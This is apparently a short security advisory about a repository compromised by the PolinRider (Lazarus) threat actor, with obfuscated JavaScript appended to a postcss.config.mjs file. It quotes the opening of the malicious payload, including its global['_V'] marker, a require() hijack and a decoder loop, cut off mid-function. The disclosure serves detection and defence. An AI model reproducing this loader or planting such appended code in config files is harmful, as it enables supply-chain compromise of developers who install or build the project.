GCVE-110-OSM-2024-367

Repository compromised by the PolinRider DPRK threat actor (Lazarus, Contagious Interview cluster). Obfuscated JavaScript payload appended to legitimate config file postcss.config.mjs, using marker global['_V']. Consistent with known PolinRider architecture: string-array shuffle decoder, require() hijack via global assignment, and a second-stage loader fetched through the decoded payload. Malicious payload found in: postcss.config.mjs Marker: global['_V'] Pattern: obfuscated JS payload appended after legitimate config file content. String-array shuffle decoder + global[] require hijack, consistent with PolinRider architecture. Snippet: global['_V']='7-dog11284';global['r']=require;(function(){var Jex='',CoP=394-383;function rKj(c){var p=289187;var m=c.length;var o=[];for(var e=0;e<m;e++){o[e]=c.charAt(e)};for(var e=0;e<m;e++){var q=p*(e+138)+(p%48794);var u=p*(e+384)+(p%46631);var